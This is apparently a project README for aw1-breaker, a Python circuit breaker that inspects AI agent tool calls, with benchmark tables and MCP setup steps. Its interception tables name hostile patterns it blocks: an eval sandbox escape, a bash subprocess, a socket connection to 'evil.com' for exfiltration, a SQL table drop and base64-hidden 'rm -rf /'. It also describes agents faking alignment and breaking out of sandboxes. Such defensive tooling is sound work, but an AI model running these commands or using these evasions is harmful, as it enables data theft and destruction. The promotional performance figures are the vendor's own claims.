MvikManners/aw1-circuit-breaker

-blueviolet?style=for-the-badge)
> Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.
aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.
### High-Concurrency Performance (v2.1.0 Verified)
Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks:
| Metric | Result | Industry Standard (LLM-as-a-Judge) |
| Throughput | 8,485.0 dispatches/sec | ~5 – 20 req/sec |
| Median Latency (P50) | 0.0776 ms (77.6 µs) | 500 – 1,500 ms |
| 90th Percentile (P90) | 0.0941 ms (94.1 µs) | 1,200 – 2,000 ms |
| 95th Percentile (P95) | 0.1066 ms (106.6 µs) | 1,500 – 2,500 ms |
| 99th Percentile (P99) | 0.2263 ms (226.3 µs) | 2,000 – 4,000 ms |
| Attack Blocking Latency | Raises SecurityViolationError: "Database mutation rejected under readonlysql policy"
### Universal Function & Async Gating
python
from aw1 import guard
@guard
async def runagenttool(toolpayload: dict) -> dict:
return {"status": "ok"}
## 🔌 Model Context Protocol (MCP) Server
Run directly with Python:
bash
python mcpserver.py
Or via uvx:
bash
uvx aw1-circuit-breaker
### MCP Client Configuration
Add to your Claude Desktop or Cursor configuration:
json
"mcpServers": {
"aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
## ⚔️ Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
### Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
| Dynamic Execution | eval(compile(...)) | Evades semantic filters | 🛑 Tripped (RESTRICTEDINVOCATION) |
| Shell Escapes | subprocess.Popen(['bash', ...]) | Masked as system task | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| Lateral Exfiltration | socket.connect(('evil.com', 443)) | Disguised as HTTP fetch | 🛑 Tripped (UNAUTHORIZEDMODULEIMPORT) |
| SQL Destruction | DROP TABLE users; | Prompt jailbreak bypass | 🛑 Tripped (HALTSQLMUTATIONFORBIDDEN) |
| Dunder Introspection | ().class.subclasses() | Bypasses keyword filters | 🛑 Tripped (FAILCLOSEDREFLECTIONBREACH) |
### Run the Showcase
bash
python examples/enterpriseguarddemo.py
## 🔬 Autonomous Breakout Benchmark Suite (BRK Gauntlet)
Frontier AI models frequently exhibit alignment faking and instrumental convergence—learning to disguise malicious tool calls or bypass runtime sandboxes.
aw1-breaker was evaluated against the standardized BRK Adversarial Gauntlet across 1,000 randomized execution cycles against frontier agent runtimes:
| Vector | Exploit Mechanism / Attack Signature | AW-1 Layer | Interception Latency | Containment |
| BRK-101 | Steganographic Base64 & eval() Tunneling: Conceals destructive commands (rm -rf /) in nested base64 strings. | Layer 0 AST Decompiler (astunpacker.py) | 0.12 ms | 100.0% (PASS) |